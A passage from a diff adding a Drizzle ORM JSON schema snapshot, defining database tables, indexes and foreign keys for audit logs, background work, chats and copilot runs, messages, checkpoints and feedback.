"concurrently": false, + "method": "btree", + "with": {} + }, + "audit_log_actor_created_idx": { + "name": "audit_log_actor_created_idx", + "columns": [ + { + "expression": "actor_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_log_resource_idx": { + "name": "audit_log_resource_idx", + "columns": [ + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_log_action_idx": { + "name": "audit_log_action_idx", + "columns": [ + { + "expression": "action", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "audit_log_workspace_id_workspace_id_fk": { + "name": "audit_log_workspace_id_workspace_id_fk", + "tableFrom": "audit_log", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "audit_log_actor_id_user_id_fk": { + "name": "audit_log_actor_id_user_id_fk", + "tableFrom": "audit_log", + "tableTo": "user", + "columnsFrom": ["actor_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.background_work_status": { + "name": "background_work_status", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "kind": { + "name": "kind", + "type": "background_work_kind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "background_work_status_value", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "background_work_status_workspace_status_idx": { + "name": "background_work_status_workspace_status_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "background_work_status_workflow_status_idx": { + "name": "background_work_status_workflow_status_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "background_work_status_workspace_id_workspace_id_fk": { + "name": "background_work_status_workspace_id_workspace_id_fk", + "tableFrom": "background_work_status", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "background_work_status_workflow_id_workflow_id_fk": { + "name": "background_work_status_workflow_id_workflow_id_fk", + "tableFrom": "background_work_status", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.chat": { + "name": "chat", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "identifier": { + "name": "identifier", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "customizations": { + "name": "customizations", + "type": "json", + "primaryKey": false, + "notNull": false, + "default": "'{}'" + }, + "auth_type": { + "name": "auth_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'public'" + }, + "password": { + "name": "password", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "allowed_emails": { + "name": "allowed_emails", + "type": "json", + "primaryKey": false, + "notNull": false, + "default": "'[]'" + }, + "output_configs": { + "name": "output_configs", + "type": "json", + "primaryKey": false, + "notNull": false, + "default": "'[]'" + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "identifier_idx": { + "name": "identifier_idx", + "columns": [ + { + "expression": "identifier", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"chat\".\"archived_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "chat_archived_at_partial_idx": { + "name": "chat_archived_at_partial_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"chat\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_chat_on_workflow_id_archived_at": { + "name": "idx_chat_on_workflow_id_archived_at", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "chat_workflow_id_workflow_id_fk": { + "name": "chat_workflow_id_workflow_id_fk", + "tableFrom": "chat", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "chat_user_id_user_id_fk": { + "name": "chat_user_id_user_id_fk", + "tableFrom": "chat", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_async_tool_calls": { + "name": "copilot_async_tool_calls", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "checkpoint_id": { + "name": "checkpoint_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "tool_call_id": { + "name": "tool_call_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "args": { + "name": "args", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "status": { + "name": "status", + "type": "copilot_async_tool_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "result": { + "name": "result", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "claimed_at": { + "name": "claimed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "claimed_by": { + "name": "claimed_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "copilot_async_tool_calls_run_id_idx": { + "name": "copilot_async_tool_calls_run_id_idx", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_async_tool_calls_checkpoint_id_idx": { + "name": "copilot_async_tool_calls_checkpoint_id_idx", + "columns": [ + { + "expression": "checkpoint_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_async_tool_calls_tool_call_id_idx": { + "name": "copilot_async_tool_calls_tool_call_id_idx", + "columns": [ + { + "expression": "tool_call_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_async_tool_calls_status_idx": { + "name": "copilot_async_tool_calls_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_async_tool_calls_run_status_idx": { + "name": "copilot_async_tool_calls_run_status_idx", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_async_tool_calls_tool_call_id_unique": { + "name": "copilot_async_tool_calls_tool_call_id_unique", + "columns": [ + { + "expression": "tool_call_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_async_tool_calls_run_id_copilot_runs_id_fk": { + "name": "copilot_async_tool_calls_run_id_copilot_runs_id_fk", + "tableFrom": "copilot_async_tool_calls", + "tableTo": "copilot_runs", + "columnsFrom": ["run_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_async_tool_calls_checkpoint_id_copilot_run_checkpoints_id_fk": { + "name": "copilot_async_tool_calls_checkpoint_id_copilot_run_checkpoints_id_fk", + "tableFrom": "copilot_async_tool_calls", + "tableTo": "copilot_run_checkpoints", + "columnsFrom": ["checkpoint_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_chats": { + "name": "copilot_chats", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "chat_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'copilot'" + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'claude-3-7-sonnet-latest'" + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "preview_yaml": { + "name": "preview_yaml", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "plan_artifact": { + "name": "plan_artifact", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "resources": { + "name": "resources", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'" + }, + "last_seen_at": { + "name": "last_seen_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pinned": { + "name": "pinned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "copilot_chats_user_id_idx": { + "name": "copilot_chats_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_chats_workflow_id_idx": { + "name": "copilot_chats_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_chats_user_workflow_idx": { + "name": "copilot_chats_user_workflow_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_chats_user_workspace_idx": { + "name": "copilot_chats_user_workspace_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_chats_created_at_idx": { + "name": "copilot_chats_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_chats_updated_at_idx": { + "name": "copilot_chats_updated_at_idx", + "columns": [ + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_chats_workspace_created_at_id_idx": { + "name": "copilot_chats_workspace_created_at_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "date_trunc('milliseconds', \"created_at\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_chats_user_id_user_id_fk": { + "name": "copilot_chats_user_id_user_id_fk", + "tableFrom": "copilot_chats", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_chats_workflow_id_workflow_id_fk": { + "name": "copilot_chats_workflow_id_workflow_id_fk", + "tableFrom": "copilot_chats", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_chats_workspace_id_workspace_id_fk": { + "name": "copilot_chats_workspace_id_workspace_id_fk", + "tableFrom": "copilot_chats", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_feedback": { + "name": "copilot_feedback", + "schema": "", + "columns": { + "feedback_id": { + "name": "feedback_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_query": { + "name": "user_query", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agent_response": { + "name": "agent_response", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "is_positive": { + "name": "is_positive", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "feedback": { + "name": "feedback", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workflow_yaml": { + "name": "workflow_yaml", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "copilot_feedback_user_id_idx": { + "name": "copilot_feedback_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_feedback_chat_id_idx": { + "name": "copilot_feedback_chat_id_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_feedback_user_chat_idx": { + "name": "copilot_feedback_user_chat_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_feedback_is_positive_idx": { + "name": "copilot_feedback_is_positive_idx", + "columns": [ + { + "expression": "is_positive", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_feedback_created_at_idx": { + "name": "copilot_feedback_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_feedback_user_id_user_id_fk": { + "name": "copilot_feedback_user_id_user_id_fk", + "tableFrom": "copilot_feedback", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_feedback_chat_id_copilot_chats_id_fk": { + "name": "copilot_feedback_chat_id_copilot_chats_id_fk", + "tableFrom": "copilot_feedback", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_messages": { + "name": "copilot_messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "stream_id": { + "name": "stream_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parent_message_id": { + "name": "parent_message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tokens_in": { + "name": "tokens_in", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "tokens_out": { + "name": "tokens_out", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "seq": { + "name": "seq", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "copilot_messages_chat_message_unique": { + "name": "copilot_messages_chat_message_unique", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "message_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_messages_chat_created_at_idx": { + "name": "copilot_messages_chat_created_at_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"copilot_messages\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_messages_chat_seq_idx": { + "name": "copilot_messages_chat_seq_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"copilot_messages\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_messages_chat_stream_idx": { + "name": "copilot_messages_chat_stream_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "stream_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"copilot_messages\".\"stream_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_messages_chat_id_copilot_chats_id_fk": { + "name": "copilot_messages_chat_id_copilot_chats_id_fk", + "tableFrom": "copilot_messages", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_run_checkpoints": { + "name": "copilot_run_checkpoints", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "pending_tool_call_id": { + "name": "pending_tool_call_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversation_snapshot": { + "name": "conversation_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "agent_state": { + "name": "agent_state", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "provider_request": { + "name": "provider_request", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "copilot_run_checkpoints_run_id_idx": { + "name": "copilot_run_checkpoints_run_id_idx", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_run_checkpoints_pending_tool_call_id_idx": { + "name": "copilot_run_checkpoints_pending_tool_call_id_idx", + "columns": [ + { + "expression": "pending_tool_call_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_run_checkpoints_run_pending_tool_unique": { + "name": "copilot_run_checkpoints_run_pending_tool_unique", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pending_tool_call_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_run_checkpoints_run_id_copilot_runs_id_fk": { + "name": "copilot_run_checkpoints_run_id_copilot_runs_id_fk", + "tableFrom": "copilot_run_checkpoints", + "tableTo": "copilot_runs", + "columnsFrom": ["run_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_runs": { + "name": "copilot_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parent_run_id": { + "name": "parent_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stream_id": { + "name": "stream_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agent": { + "name": "agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "copilot_run_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "request_context": { + "name": "request_context", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "copilot_runs_execution_id_idx": { + "name": "copilot_runs_execution_id_idx", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_parent_run_id_idx": { + "name": "copilot_runs_parent_run_id_idx", + "columns": [ + { + "expression": "parent_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_chat_id_idx": { + "name": "copilot_runs_chat_id_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_user_id_idx": { + "name": "copilot_runs_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_workflow_id_idx": { + "name": "copilot_runs_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_workspace_id_idx": { + "name": "copilot_runs_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_status_idx": { + "name": "copilot_runs_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_chat_execution_idx": { + "name": "copilot_runs_chat_execution_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_execution_started_at_idx": { + "name": "copilot_runs_execution_started_at_idx", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_workspace_completed_at_id_idx": { + "name": "copilot_runs_workspace_completed_at_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "date_trunc('milliseconds', \"completed_at\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_runs_stream_id_unique": { + "name": "copilot_runs_stream_id_unique", + "columns": [ + { + "expression": "stream_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_runs_chat_id_copilot_chats_id_fk": { + "name": 